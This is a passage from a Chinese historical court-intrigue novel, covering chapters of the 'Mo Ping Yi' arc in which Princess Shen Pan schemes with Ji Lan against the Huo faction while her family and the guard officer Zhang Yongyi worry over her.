太子沈碣开口:“有件事我想问你。”
沈碧即刻牵着郇渊要走,郇渊伸长了脖子:“要问什么?我也想听。”
“你不想听。”
郇渊皱皱鼻子,只能跟着母亲一起走出屋子,一出屋子,就看见沈斫石碑似的杵在那里,他别别嘴提醒母亲,“小舅舅也不想听。”
沈斫回神,见大姐沈碧正端详自己,连忙点点头,木楞楞地就要往门内凑。
“舅舅不想听!”郇渊大声朝沈斫喊。
“斫儿。”
沈斫转身。
沈碧依然是淡淡的,淡淡的语气、淡淡的神情,却不是淡淡的心意,“别打扰他们。”
怔愣片刻,沈斫点头。
**
屋内只剩下太子夫妇。
“二哥想问什么。”
太子沈碣关好门,远远望着她眼眸明亮,又不自主地叹起气。
太子妃薛元映替他道:“磐磐,你在和谁谋划什么吗?”
“嫂嫂为何要这么问。”
“沈磐。”
太子走了过来,脸上终于不见半点纠结,“张永一已经调来了长缨卫。”
沈磐静静等他的后文。
“按你所说,他救过你,我们知恩图报。”
沈磐错开与太子直接的视线,“嗯。”
太子不说话。
沈磐慢慢用指尖描摹被子上绣着的团云,“二哥以为,我会谋害他?”
“东宫从来不会是他这种人能走的捷径——”
“他是哪种人?”
太子一向是极其平和的人,此时被沈磐回怼得也有堵了口气在心底的感觉,“他不是嵇阑那种人。”
一瞬。
两瞬。
三瞬。
沈磐扬唇一笑:“其实二哥想问的是嵇阑。”
“是!”太子心中郁结,“这究竟是怎么回事?你怎么与他搅和在一起?”
沈磐阖眼,“就如霍开武说的那样,这几月我们常有往来,他想要尚主。那天慈悲寺,我和他相约会面被霍开武看见了,然后霍开武就把他打了,又找了我的麻烦。”
“他哪里是真想尚主!”
“那也无妨。”
“什么无妨?沈磐,你的名声不要了?”
她霍然睁眼,怒吼道:“名声要了有什么用二哥!”
双目赤红,沈磐再度逼近,“你已经忘记元良吗?他有多好的名声!他从未苦心经营,却因为他是个好人,于是得到了名声。”
太子大口喘气,怎么也捋不顺心里的气,越捋越乱,越来越糟,就像此时的氛围。
他从来没有对沈磐说过重话,今天也没有。
但一切还是变得这么糟糕,就像被亲爹当着全天下人的面、毫不留情狠狠踹上一脚的霍开武一样糟糕。
薛元映握住沈磐的手,“磐磐,姑娘的名声还是很重要的,嵇阑从小流连花街,不得其父喜爱,二十好几也没有功业,眼看家里的弟弟一个个长大,袭爵无望……”
“我都知道。”
“磐磐,他在算计你!”
“我也在算计他。”
薛元映震撼地看着她。
“与虎谋皮。”太子冷冷道。
沈磐看向太子。
“嵇阑和霍开武不睦,但嵇家仍然是霍家的忠仆,你想用嵇阑去对付他们?白日做梦!”
“二哥,是嵇阑想去对付他们,不是我。”
“他为什么要对付自己的亲长?他凭什么毁坏自己的利益!”
沈磐低声答:“因为他根本就不是嵇家人。”
太子夫妇懵在原地。
25. 第二十五章 莫平意(七)
沈磐听见嵇阑口述身世时,也是震撼得难以置信。
连嵇阑自己都曾不信。
他怎么会不是他爹的儿子呢?
一定是母亲恨极了他爹,恨他爹杀了她的家人,杀了她的夫婿,还强娶了她,带到化隆这样人生地不熟的他乡。
可难道不该恨吗?
灭门夺夫抢功之仇。
若这样的仇恨落到他的身上,他恨不得要将仇敌全家挫骨扬灰。
那时候的嵇阑才十来岁,骤然得知了这样的秘密,成天惊恐夜夜难眠。
现在的嵇阑二十来岁,有时想起来,还是会被自己的忧惧仇愤逼得彻夜难眠。
和沈磐提起这些往事,他极力想表现得坦然从容,可眼神将他卖得一干二净。
太子过了好久才找回自己的声音:“他的生父是卢兰?”
沈磐点头。
薛元映忍不住叹息:“怎么会这样?”
太子坐到薛元映身边,“卢兰的父亲卢汴曾是靖臣窦宙将军的副官,又与宁远陆微将军别有渊源,故而卢兰一入行伍就有了校尉的荫官,后来担任雍凉都督,却因判国罪满门抄斩。嵇阑的父亲嵇阀,而今的靖臣将军,以前就是卢兰的属官。下属夺上官之妻,这样的议论我以前听过。”
薛元映还是难以置信:“嵇阀怎么会允许卢兰的儿子混淆自己的血脉?嵇阑还是名义上的嫡长,最有可能袭爵。”
沈磐淡淡道:“所以嵇阑十二岁那年,他母亲自杀了。”
以证清白。
薛元映倒吸一口凉气。
“沈磐,不要与疯子为伍,会伤了你自己。”
沈磐苦望向太子,视线又触及薛元映关切心疼的目光,顿时像魔怔了般,听见一个声音在耳畔说:
可你也是个疯子。
在陛下面前你是怎么哭的?
霍开武说你和外男不清不楚,你说霍开武姬妾盈堂、儿女成双。
霍开武说他并非有意要欺侮你,你说是,他不是有意,他只是贱呐,一不如意就要诉诸暴力,是个女人都想一亲芳泽。
然后在陛下面前,霍开武不敢说话了。
可你的胆子多么大?
指着他骂,说他狗仗人势,说他敢未婚僭越仗的就是陛下对霍辄的信赖。
当然重点不是这个,重点是他敢打你!
敢在千秋节的宫里打身为公主的你!
敢几乎在光天化日、满朝文武前打你!
打你的脸,打皇家的体面!
婚前尚且如此,婚后岂不翻天?
你其实并没有多么生气,索性你也不需要多么生气。
你只要哭,将这二十年来所有的委屈不满思念痛苦全都哭出来,哭得让你那已经被气得脸色铁青的君父,一刹那想起他那早亡的姐姐。
升平朝的长平公主也是这样一个人,只是她幸运,又远比你有本事、识时务,所以她为了利益嫁给豺狼,最后反倒成了恶虎。
可永济朝的长平公主你,比一只野兔还要软弱无能,被夫婿当着天下人的面侮辱,也只能哭。
太子还没死呢!
他们就敢这么欺负你!
你只管哭,把霍开武都哭出一把火,恨不得借着火势一巴掌劈死你。
是啊,他该气的。
两个人时你极尽所能地刺激他,第三人来了就开始哭诉自己有多么柔弱无助。
他骂你是个疯子,恨不得扑上来撕了你。
可你没有否认是么?
你只是在哭。
当你看见君父眼中对你的松动和对霍开武的憎恶,你好像真得哭出了伤心。
你想到了元良对么?想到了仪明对么?
你也变成迫害过他们的那群疯子了么?
该的,对霍开武他们你何须鄙吝疯子的狠辣?
该的,霍开武活该的,他们活该的!
可你还是变成了一个疯子。
不是么?
沈磐望着太子夫妇。
在他们的东宫里,阴谋、算计、血腥从来都找不到落脚之处,甚至在陈王出生之前,阴谋、算计、血腥在皇宫里都无家可归。
阴谋、算计、血腥,没有人教过她这些,太子夫妇也绝对不会让这些在她眼前上演,可一瞬间学会所有,直如同嗜血啖肉是动物的本能一样,是刻在她骨子里的天赋。
她好想说一句:哥,我没事,疯子是不会被疯子伤害的。
他们是多么爱惜珍视她的人。
她心里有一处陷阱,眼睛就是阱口,睫毛充作伪装。
沈磐深囚自己的疯狂,“哥,嫂嫂,我有些困了。”
**
沈磐其实没有睡着,所以她知道沈斫一直坐在她床头,静悄悄不知想了些什么。
她叹气:“你有话对我说吗?”
沈斫低下头,握住她从被子里伸出来的手。
“姐……”
“怎么不叫‘磐磐’了?”
沈斫眼见她笑,却感受不到丝毫宽慰。
“姐,嵇阑也不适合你。”
沈磐笑弯了眼,“那谁会适合我?”
“张永一。”
沈斫就见,她不笑了,夕阳透过花窗漏进来打在她脸上,遮去了不少苍白颓败。
“我不适合他。”
“我以为调他来长缨卫是你的意思。”
“就是我的意思。”
沈斫捧着她的手,“我们以为你喜欢他。”
沈磐脸上的平静凝固刹那,旋即又拼成了一个笑,“嗐,我只是到了年纪不够矜持罢了。”
沈斫盯着她手上的伤,“姐,我是真的不喜欢嵇阑。”
“嗯,你也不用喜欢他。”
“可是我很喜欢沈礴,你不喜欢他。”
沈磐连一个勉强的笑都留不下来,夕阳也画不上空无表情的一张脸,随着浓云流去,光线一根根被窗格切断,她的眼睛也陷入了眉骨鼻梁投下的阴影里。
“你看出来了。”
沈斫闭眼,点点头。
他那么敏感,对阴谋、算计、血腥乃至痛苦都那么敏感,敏感得一伸手就能摸到它们,那他自然也能一眼看透,她不在乎与谁成婚、却拼命也要拉下霍开武究竟为了什么。
“太子与陈王根本不能和解。”
“他没有坏心。”
“但霍家有。”
沈斫自然也猜得到,那么拼命勒断元良郡王府上下三十几人脖颈的幕后真凶,也是霍家和霍家的爪牙。
“太子与陈王不能和解,同样,新臣旧侯也不能和解,我不能嫁霍开武,翩翩也不能嫁陈王。帝位只有一个,他们想扶陈王坐,那让太子怎么办。”
是啊,如果沈礴当了新皇,那二哥怎么办?
沈斫应当是死心绝念了。
为了当好这个东宫的家,二哥二嫂比内阁的辅臣还要辛苦,受着百姓臣僚的监督,受宏志良心的检验,十几年来兢兢业业从不敢有半点懈怠。
而那些人他们剑指东宫。
哪怕他掩耳盗铃地想,元良之死并非沈礴本意,他甚至都不知道自己母族的舅哥们犯了怎样的血案,他能擅闯光武门只为了给自己求情,但元良还是死了不是吗?他还是被霍开武带走了不是吗?
他只是一个还没长大的少年,十四岁不满。
可霍家及其爪牙把持朝野,几乎要与东宫分庭抗礼。
他们那么嚣张,要什么把柄没有,贪污受贿、奸淫掳掠、卖官鬻爵,哪怕裘衣藏针都查到了早已病逝的霍夫人身边人头上,可有陛下护着,只有叛国谋反的大罪才能撼动帝王的偏心。
而今日的帝王又一病不起。
被气得一病不起。
“姐,这种事,你以后不要管了……”
沈磐挑眉:“你看不起我?”
沈斫昂头,“我姐姐是女中豪杰。”
沈磐“噗嗤”笑了。
“从小有什么事,你都冲在我前面——”
沈磐倏忽握紧他的手,“沈斫,听话。”
“让我来处理吧,过了年我就成人了,二十岁——”
“沈斫,听话。”
沈磐另一只手带着温濡,盖上他的手背,“听话,在宁远照顾好自己。”
“姐……磐磐!”
“沈斫,听话。”
**
兵科给事中弹劾霍辄教子无方的奏疏很快就引来了四面八方的呼应,最后一道来自都察院四品佥都御史的奏疏上还属上了总宪的名字,这下内阁也踩下了浑水。
因为而今的左都御史叫梅依径,而梅依径又是武英殿大学士,是为冉琢明之后的次辅。论起来,梅依径和冉琢明是同年同榜的进士,梅依径是榜眼,冉琢明是探花,内阁里论资排辈下来,应以梅依径为首,但不知陛下是怎么想的,偏偏钦点了冉琢明的首辅位。
各衙司里都传:梅榜眼是乌鸡眼,冉探花是喇叭花。
这说的就是梅依径不怕事爱揽事专找事,冉琢明最怕事不管事没有事,料理事务时,梅依径定调子,冉琢明传个音,剩下来的郇翾是科举出身、衙门资历都排不上号的,纯属和稀泥调和两人之间时而融洽不分你我、时而紧绷剑拔弩张的关系。
朝中拉帮结派之事屡见不鲜,平日里小打小闹、相互攻讦,内阁都睁一只眼闭一只眼,如今连梅依径都下了场,是满朝文武都要和永济帝翻脸。
沈磐暂且没工夫管朝中的波涛。
因为过了十五千秋节,沈斫就要回东北。
他们在宁远门外相送。
这次张永一也来了。
他也必须要来。
从前他是六部中人,与东宫别无牵连,现在却成了长缨卫,还是四品的指挥佥事,一步踏入飞黄腾达的行列。
他也想来的。
见见沈磐。
比以往更近地见她一面,见到她劫难过后的疲乏
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,见到她送别至亲的牵挂。再见她时,她好像彻底不会笑了,眼神也冷得可怕,像是一夜间熄了心火。
她甚至没有多看自己一眼。
也不会与自己说话。
哪怕周遭无人,只剩下他们两个。
昨日化隆城外传来一道死讯,是陛下少年时的旧友郭辞文的讣告,今晨陛下就打算去五柞宫将养,才在舆论的压迫下夺了霍辄的尚书位,却又叫上陈王伴驾、霍辄随侍、锦麟卫清障、阴阳卫开道,还把太医施汜带上,只令太子监国。
出了这样的变故,她也应笑不起来。
可他领着长缨卫送她回城,在路上遇到了嵇阑。
他倚在酒楼上,松松垮垮束了黑发,手上折一支桂花,一身白袍逗秋风恣意舞,就这么招呼沈磐,邀她上楼一叙。
沈磐二话没说就撂下他,朝嵇阑走去。
嵇阑靠在黑漆栏杆上,朝自己颔首笑。
“你本事可真大,连梅阁老都请得动。”
沈磐站在屋内扫一眼嵇阑,越过阑干又瞟一眼楼下的张永一,在屋内桌旁坐了下来。
嵇阑“哈哈”笑两声,叼着桂花从美人椅上起来,捞起小几上的茶壶走进来,“我本事若大,也就不用挨这一顿打。”
“谁会打你?”
嵇阑给她添茶,“我叔。”
“哦。”
离得近后,沈磐这才看见他的嘴角也破了,也不知是他叔叔嵇阚揍的,还是那次霍开武打的。
“那梅阁老如何会联名?”
嵇阑将桂花和茶一起推给她,“当然是他老人家路见不平拔刀相助。”
沈磐没动那支桂花,也不喝他的茶,只是轻笑道:“看来不必谢你了。”
“嗳——如果不谢我,佥都御史李闻达也未必肯上书。”
沈磐挑眉,“是么?你与他别有交情?”
嵇阑笑道:“他儿子李圜在菁明书院念书——那种地方你知道的,学生各个别有根脚,论资排辈、不务正业,乌烟瘴气的,他这个儿子李圜性子有些孤僻,是那种被欺负狠了都不敢吱声的闷葫芦,有次我看不过去,给他解了围。但我和他儿子并不投缘,倒是和他,一来二去就聊成了‘忘年交’,还一起约为‘婚姻’——”
沈磐的眉毛翘得老高。
“是啊,不过公主放心,只是口头上说说。再说,约为婚姻?他儿子多大,我又没有家眷,这亲家怎么个当法,都还是未知。”
“又不是我的事,我有什么不放心的。”
嵇阑笑端杯,“不过有件事不关公主,但公主定不会放心。”
沈磐凝眸。
“陛下又要离宫,何时回京也是未知,而陈王不久要过十四岁生辰,封王就藩,这可耽搁不起。”
嵇阑又给自己续茶,“不过我们急,急在帝驾边没有眼线,陈王他们也急,急在京中无人坐守——郭辞文病死,陛下突闻噩耗一定伤心不已,若有旧友相伴,一定能宽慰不少。”
“卿茂山有官去不了,且他奸猾胆小万事不沾,郇翾也不能去、内阁离了他就要分家,那就找辛自宽。”
嵇阑点头称是,“他就辛翩翩这么一个宝贝女儿,马上就要被指给陈王,全家的好日子都要到头,他的确要急——这么看,还是公主周道。”
“吃空饷不是什么稀奇事,宣钦的案子先压一压,别给霍家转移了注意。还有,霍辄一走,家中无人坐镇,山上无老虎,猴子城霸王,霍家那群狗仗人势的定要闹腾,多插点眼线盯着,指不定能抓住把柄。”
嵇阑一一应下。
“还有别的事吗?”
见沈磐一副着急要走的样子,他不禁起了玩笑心思,端着空杯走近栏杆,朝着楼下还守在马车旁的张永一的方向笑道:“这位是梁国长公主的长孙,论起来还是公主的表侄——”
沈磐坐着不动,冷冷问:“你想说什么。”
张永一在说话间抬头看了过来,只见嵇阑,却不见沈磐。
嵇阑向他颔首,歪过头笑向沈磐:“他上月还是兵部的郎中,今日便喜迁军卫的佥事。”
“你究竟想说什么。”
“公主的耐心怎么越发差了?”嵇阑往回走,“我就是想问问有没有什么高升的秘诀,毕竟——”他一咂嘴,一抖袖子,两袖清风也无,白身一条,若非身形高挑、姿容出众,当真是要多落魄有多落魄。
“毕竟我什么时候能尚主,还是个未知,总也要拿几个官垫垫,以防爵位落空,公主的算盘也空。”
沈磐边起身边摇头:“这个得靠你,张佥事救过本宫的命,救过燕王的命,一个指挥佥事东宫犹嫌寒酸拿不出手——你若是想当官,去问你叔叔要,军中不想去,兵部混个七八品还是可以的。”
嵇阑倚着窗沿朝沈磐笑,“四品佥事犹嫌寒酸?在下倒不知怎样谢才算合适。”
沈磐已经走到门边,闻言脚步一顿,“与你无关。哦对了,近日上门一趟,有事要议。”
26. 第二十六章 莫平意(八)
天气一下子冷了。
未时刚过,日渐西跌,张永一刚与人交了今日的班子,正从公主府后门要走,迎面撞上了嵇阑。
如这一连二十几日,他每次做贼似地登公主府的后门,都收拾得极其用心。张永一只知道沈磐喜欢怎样的装扮,却不知她喜欢哪一款的男子,而今见了嵇阑,他便深知自己的无望。
毕竟,他从前还会想,沈磐对他应当是有情的。
沈磐不是个内敛的人,她喜欢最艳的色彩,也喜欢最艳的景色,且她本来就比满院春花秋叶还要鲜艳,可她敛于诉情。
这般,他总能骗自己,沈磐还是属意他的。
可嵇阑人生得风流,装束得风流,处处都是风流。
今日风大,他裹着毯子似的披风,依然不减风流。
他从没想过自己怎么就堕入了这片情海,自然也没敢想沈磐如何会对自己有情。
他根本不是沈磐会喜欢的模样。
嵇阑见了他,笑着打了招呼,也不管对面是冷脸还是热情,轻车熟路地拐去沈磐最常呆的书房。
陛下移驾五柞宫,太子成天忙得倒悬,沈磐便常来公主府。
沈磐一来,嵇阑必来。
一呆就是一整夜。
张永一曾守过这样的夜,连他们的说笑声都听得真切,蜡烛烧着不灭,窗户上还能映出嵇阑颀长的影子,到了后半夜屋里静悄悄,他们应该都已沉沉睡去。
他一个指挥佥事本不用亲自熬这样的苦夜,可他自讨苦吃。
然后他就没什么执着了,并不再彻夜不眠地等着第二天又换过行头的嵇阑神清气爽地推开沈磐的房门,和自己道一句:“早啊张佥事。”
张永一深吸一口气,坚定地走出公主府。
义然已经等得两眼放空,被张永一敲了敲脑门,这才悠悠醒来。
“呀来了,赶紧吧,事情有了不少进展。”
张永一上马。
义然将搭在臂弯的披风抛给他,“牛马巷盯了月余都没有消息,最近突然听说城北有一户闹贼,我便去碰了碰运气,你猜瞧见了谁?”
张永一系上披风,“是谁?”
义然嘿嘿一笑,不急着答话,骑上马领着张永一往城北偏巷去。
公主府本就建在化隆城东北的富贵地,他们在繁华大道上走了不久,义然就带他拐进了一条僻静深巷。巷子虽小,却也是高门大户林立之处,夹道两边深墙斜倾,墙内竹丛狂茂,枯黄的竹叶被蹄风一卷,呼啦啦四处打旋。
义然示意张永一下马,一下马,义然便小声解释道:“这里是羊车巷,再过几条街就是菁明书院。”
张永一四处望着,门扉贵重却不书牌匾,檐下风灯上也不贴名姓,但他们没走两步,就闻得墙内怨歌声起,弦音惆怅,如有妇在泣。
“真伤心。”义然叹息,“这里离极乐坊那些花街柳巷也近,养的大多是高官显贵的外室,那天我一来,就看见宝马香车,朝廷要员。”
“你究竟看见谁了?”
义然附耳道:“还记得牛马巷那个老师婆吗?”
张永一略略回想,眼前顿时浮现那个蓬头垢面跑得轻快的老婆子,正“嘿咻嘿咻”地踩着地上光影。
义然指着那户门上贴着京兆封条的人家,“就是这家了,据说是阳安伯府的,不知哪里通了这些歪门邪道,找上了这个师婆扎小人诅咒阳安伯夫人,被伯夫人抓获,闹到了府衙。”
“这种大事,为何我在宫中不曾听闻?”
“嗐,这么不光彩的事,今年又才出了元良郡王之事,阳安伯赶着陛下不在京,就上下疏通关系,求爷爷告奶奶地让京兆府把事情压下来,伯夫人回过神来反了水,自称家中什么邪门事情也没有,就是别院的下人偷了主家几件宝物藏到了这里云云,京兆也不想惹事上身,便将事情压了下来。”
“不应该,不论如何宫里也该有风声的。”
不在门口过多停留,他们继续往前走,路人只当他们是要去极乐坊寻欢,也不多管。
义然被不知哪里的阴风吹得一哆嗦,“不知道,反正那师婆是被拿进了京兆府。”
“附近就是菁明书院,人多口杂……”
“公子你在嘀咕什么?”
张永一不自主地叹息:“我总觉得东宫应该要知道发生了这样的事。”
“嗳,这些都是大人物要操心的,公子你替他们担心什么——”
正说着,他想到张永一是四品佥事,也是大人物了,顿时改口:“有元良郡王之事在前,公子您理当上心,只是公子在操心这些事前,还有一件事要先上上心。”
“何事?”
“亲事。”
张永一皱眉。
“公子你也该体谅长公主,长公主就盼着你成家,这是她唯一的心愿了,她又担心自己看不到那天……”
张永一叹气:“祖母又看上了哪家?”
“郭家,升平末年郭阁老郭明修他们家,也是陛下故友郭辞文他们家,就定了明天你的休沐日,长公主想托诚识公子带你去。”
张永一有些失神,一失神就想到了沈磐。
她在做什么?和嵇阑聊着朝廷大事还是人生大事?她该又被嵇阑的玩笑逗乐了,抑或者因为陈王封王之事愁肠百结。嵇阑有颗七窍玲珑心,总不会让她继续消沉下去,她总会笑的,勉强也罢真心也好,只在嵇阑面前笑,只笑给他一人看。
“公子?公子?”
张永一的眼神落回自己的视野,他轻轻应一声:“好。”
义然看着他叹气:“公子,你最近总是魂不守舍的。”
张永一低头苦笑:“是么?”
“我还从没见过你这样,为着旁人把自己折腾成这样,公子你也没发现,你近来有些瘦了——”
张永一笑:“是待在化隆安逸久了。”
义然揪心,踟蹰道:“公子,你从来都是很果断的人。”
“是么?”
义然真诚点头。
张永一望着远街,高处已经看得见极乐坊的楼台灯火绚烂,他幽幽问,似在问一个答案,又像是自言自语,“我何时变得这么优柔寡断了呢?”
暮夜只有娼寮上的歌舞飘渺地回应他的无奈。
义然担心,又怕张永一多心,只能字斟句酌地劝他:“公子心里憋了那么多事,有事就该说事,有问就该去问,成就成,不成就一刀两断,长公主看见你这么难受,她心里也难过。”
一刀两断吗?
他只是想着这四个字,这刀疤就开在了他心口。
他断不了,成日看着她与旁人恩爱情浓,他断不了。
漆黑的羊车巷走到了尽头,车如流水马如龙。
“公子,回家吗?”
进一步是极乐,退一步是深渊。
而他是个懦夫,在中间徘徊。
义然兀自牵马走,“回家吧回家吧,长公主应该也在等我们——公子!”
他回头要追,张永一已经骑着马跑没了影。
**
“嗐,公主不赏臣一个好脸色,好歹赏口茶吧?”
沈磐重重地把茶杯放到他面前,“要喝自己泡。”
嵇阑认命,挽了袖子提了茶壶去炉边催火,才风流潇洒的公子哥就这么被打发到炉火边蹲着煮茶,他念叨:“炉子应该摆到茶桌边,这样才方便一边盯着火候一边碾茶……”
沈磐搁下邸报,语气不耐:“你管这么多?”
“只是建议公主。”
她又拿起最新鲜的一份看起来,“我劝你别建议。”
看她眉眼冷淡,语气更比天边风还冷淡,嵇阑干脆盘腿坐在了地上,撑着下巴笑道:“公主不呆在宫里,臣给您搜罗这些邸报也没什么用啊。”
“如何没用?”沈磐继续翻着,“翩翩才来看过我,跟我说她爹在五柞宫的见闻。”
嵇阑托着下巴望向茶几旁端坐的沈磐,一幅洗耳倾听的样子。
“陛下生了好几回气。”
“嗐——”嵇阑难掩失望,“陛下肯定会生气,大楚开国以来,有哪个皇帝要‘低声下气’地求臣子送个人情?内阁不买皇帝的账,说起来是为公为国为百姓计,可太子不卖君父的账,在陛下眼里,不是为了东宫一家的私利还是为了什么?”
沈磐压下邸报,“他是拿准了君臣父子、仁德孝义,在逼二哥松口。”
“那太子何必要惹他生厌呢?假意答应了又如何,不是还有内阁顶着?陈王想不就藩,想要梅阁老改口,简直是天方夜谭。且梅阁老最不怕事,如果知道太子在好心替他顶着君父怒火,指不定要以为是太子小看他的本事。”
沈磐看他说得简单磊落,“但我三哥的先例摆在那儿。”
嵇阑捏了帕子提起茶壶,“朝中吵来吵去,
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也就只能吵吵宁王殿下的事情,霍派想保陈王也就这么一个说辞,可就这一个说辞他们也没理啊,宁王是中宫皇后所出,从小体弱多病,陛下为他开了不就藩的先例合情合理,但陈王,霍夫人所生,身体康健,有什么理由要求宁王的待遇?”
“当年,我二哥也是例行反对过的。”
嵇阑起身走到茶几边,“那时太子的反对是大义,现在太子的反对是私心。”
“明明都是一件事……”
“公主说对了,明明都是同一件事,偏偏在陛下那里分出了阴谋险恶。”
嵇阑没有碾茶,直接就着碗中茶叶冲下了热水,他顺着两个人的心里话往下说:“因为陛下心里早就有了喜恶亲疏。”
沈磐轻哂:“就算二哥答应,他也会认为是东宫要博一个兄友弟恭的美名,是在做戏。”
“但好歹,东宫没有挡陛下的路。”
他们两人对视,各自移开视线。
何人挡路,何人必死。
这是一个君父的底线,也是皇权恶兽的血性。
“这一年来,他做什么都不顺,要杀元良,满朝和他叫板,要封兖王,内阁又跟他忤逆,我算计霍开武,坏了他的筹谋……”
“所以太子本就身在危楼,不是要小心谨慎不能走错一步——”
嵇阑推来一杯热茶,他手边就只剩下一壶水。
“而一定会行差踏错。”
沈磐握住茶杯捂手,“可这是为什么呢?”
嵇阑翻来覆去也找不到第二只杯子,也不敢贸然打扰出神伤怀的沈磐,只能打开壶盖晾些凉水。
“我二哥从小就是典范,功课做得好,习武也最用心,他脾气又炼得尤其温和,君父说东他就往东,说西就向西,忠孝仁义礼智信,他哪一样没做到?这么多阁臣夫子,哪一个不真心对他赞不绝口?”
嵇阑看向沈磐捂手的茶杯。
“他自己也是从各种阴谋里厮杀出来登上皇位的,怎么会不知道霍家在密谋什么?陈王不就藩又意味了什么?他自己战战兢兢过,这就要折磨他的儿子取乐?他淋过雨就要撕了儿子的伞?我实在不懂,他怎么就变成了这样一个自私自利的人。”
说完,沈磐就想到那天在东直门,临川郡主说的——
或许他从来就是这样的一个人。
这样一个刻薄冷血的人。
“公主对霍夫人了解多少?”
沈磐恶狠狠地瞪他,“一个男人该是什么样的混账就是什么样,和身边的女人有什么关系?”
嵇阑连连求饶:“臣受教受教,只是公主,我们都想不明白那样的明德之君如何会鄙吝成这个样子,霍夫人,乃至陈皇后,不都是我们该去探寻的线索吗?所爱映所欲,燕王和陈王,不过只是爱恨之下的结果。”
沈磐的眼神一刹那柔软得脆弱起来。
是啊,他们只是承受着不同的爱恨,所以一个是掌上珠,一个是泥底目,一个自幼一路顺风,一个从来坎坷波折。
“汉武帝言戾太子不类己,故尤喜钩弋夫人子弗陵,而臣观陛下宠溺陈王,但陈王不肖陛下,天真文弱、少有决断。有人喜欢像自己的,有人就喜欢不像自己的。像自己的是因为欣赏自己的强大,不像自己的渴望他身上的某些东西,说到底是没有改变的决心和勇气,是沉溺自己的弱小,既要又要。”
嵇阑伸手,意在沈磐手中的茶杯,“说到底,都是因为太爱自己。”
太爱自己?
沈磐想到张永一。
他和自己绝对是完完全全不同的两种人。
他的家庭曾经美满无缺,就算双亲亡故也备受疼爱,他从来都不缺亲人的关注和偏爱,他可以一辈子呆在亲长的庇佑下顺风顺水。所以这也养成了他有些天真、有些傻的性子,遇事他机敏果断,是行军之将,赏罚从不拖泥带水,狠绝也从不手软。可本心里他没有恶意和算计,故而他只想着自己好,也要别人好,更要大家都好。
他懂得这是个弱肉强食的世界,每个饥肠辘辘的人都凶神恶煞地盯着他,他没法人人报以微笑又以身饲虎,但他装傻充愣保持沉默,从不抒发怨愤只默默包容他们的冷箭冷眼。
他是那种,在沈磐七岁时就会背地里指着他叫骂上一万句“傻子”的存在。
可说来这么多年,这么多人过眼,只有他如同浣洗的遗纱,随着清溪下流却搁浅在了砾石滩。
27. 第二十七章 莫平意(九)
“臣求公主赐茶。”
见桌上别无茶杯,沈磐撒手,任由口干舌燥的嵇阑喝完了茶。
“臣觉得,陛下是爱屋及乌。”
沈磐淡淡道:“翩翩说他让施汜招魂,应该在招霍夫人的魂。”
嵇阑点头:“这就是了,臣一直听说陛下重旧情,潜邸从龙之人大多优待,便是多年前病故的侍卫都尤其恩宠,霍夫人的兄弟为国家拼杀,陛下尤其开恩,这才将霍辄又带去了行宫、更宠爱陈王。”
“但她没葬在紫微宫,葬在长安废都,一处荒芜的坟场。”
嵇阑一愣,“或许是陛下更在乎陈皇后……”
“在乎他的妻子,然后虐待她的儿子。”
嵇阑不能发一言以对。
沈磐嗤笑:“说起来也是因为在乎她,逆子克死了爱妻,他如何能不恨?”
“出生即丧母,这不是燕王的过错。”
“那这是谁的错呢?”
沈磐的眼睛如同点漆黑亮。
“总归不能是他的错吧?”沈磐垂下眼,起身翻箱倒柜一番,总算找出了一套齐整的茶具端了过来。
“我和沈斫差了不到一岁,让才生产过的母后这么快又怀了孩子,总不是他的错吧?”沈磐嘲笑着,给自己倒茶。
“陛下的后宫里,这些年只有……”
沈磐打断他:“只有皇后、贵妃,还有霍夫人。皇后和贵妃都是辅国长公主给他定的,不过那时他只接受了母后,等长公主去世他才纳了郭贵妃。贵妃是阁老郭明修的孙女,是故友郭辞文的妹妹,但和母后比起来,他一点也不喜欢贵妃,贵妃也没有孩子,后来生了场大病就去世了——那是我出生的前一年。”
她晃着杯中茶,“于是宫里就剩下母后,母后去世的第二年霍夫人就入了宫,夜夜承宠,但始终没有怀孕。但三哥说起那个时候,只说二哥每天都很害怕,害怕这么受宠的霍夫人有了孩子,会更讨厌沈斫。”
嵇阑的心一沉。
然后害怕的事情发生了。
沈磐盯着茶水笑,“然后我十二岁那年,霍夫人生了场大病去世了,三哥也走了。”
“那个春天大姐才嫁了人,襄阳伯变成了襄阳侯,举宫同庆——”沈磐的视线一下子被回忆拉远,“霍夫人没熬过夏天,三哥走在了秋天,然后是唯一一次没有举办岁末宫宴的冬天。”
那个大雪天,沈斫十一岁,跟着菁明书院的宁先生读书,回宫后被陛下叫到七岁就出口成章的陈王面前背一段老庄。沈磐早就记不得是哪一段了,沈斫早上才学会,意思都不甚理解,晚间背得磕磕绊绊,惹了陛下生气。
他从不打人,甚至不说人,可他的目光就像是刑鞭,抽得沈斫血肉模糊。
然后过了年,他就以沈斫“天资愚钝”为借口,停了他在菁明书院的讲学,又把他丢到了演武场,每天被各种苛责碾轧,十四岁一满就丢去了东北。
他见过了天才,如沈礴一样的文学天才,所以其他人都被斥为蠢笨,而蠢笨的人,从来没有机会读书开化,不然就会因为发现了不公,而反抗他。
可沈斫是个早慧的孩子。
很早很早就看出自己的父亲不喜欢自己。
不,是憎恶,是仇恨,恍若他的亲生儿子、母后的幺儿,是他什么天大的仇人。
那时沈斫还没长那么多心眼,觉出了这种憎恶曾经还问过自己,问她说:我是不是哪里做错了?
她本想说,你什么都做得很好,就是老头子偏心。
可她一刹那想到了辛翩翩。
辛翩翩为什么叫“翩翩”?其实不是翩翩起舞的“翩”,而是偏心的“偏”、偏爱的“偏”。可辛自宽这么偏宠她,也从未因此苛待过其他的孩子。
所以这根本就不是偏心。
那这是什么呢?
在听过嵇阑自述身世后,沈磐甚至天马行空地想,会否因为沈斫不是陛下的儿子?
可她很快就打消了这个念头。
沈磐沉默了许久,嵇阑这才出声:“公主?”
沈磐阖上眼,长长吐出一口气:“他就是个烂人。”
嵇阑已经不震撼于沈磐的口出狂言。
作为父亲,他就是个烂人,一个烂掉心眼的人。
可父亲身上的脓疮,已经蔓延到君王身上。
为了陈王,他几乎是在颠覆二十多年太子的地位。
那么他们要怎样颠覆陈王、颠覆霍家呢?
只有颠覆他。
嵇阑也不震撼于自己想法的恐怖。
“我曾以为,一切都是因为辅国长公主。”
嵇阑默默听她扯起这个话头。
“可我曾问过宁先生,问他长公主是什么样的人。宁先生寡言,却说了整整一个下午也说不完,我听来听去都是那么好那么强大一个人。可她养出来的弟弟是个烂人。”
曾是个英明神武的君主,晚年不免昏庸。
史家都会原谅他的,就像原谅了一个又一个汉武帝。
“公主,不要被烂人传染。”
沈磐看着他满脸郑重,不禁轻笑。
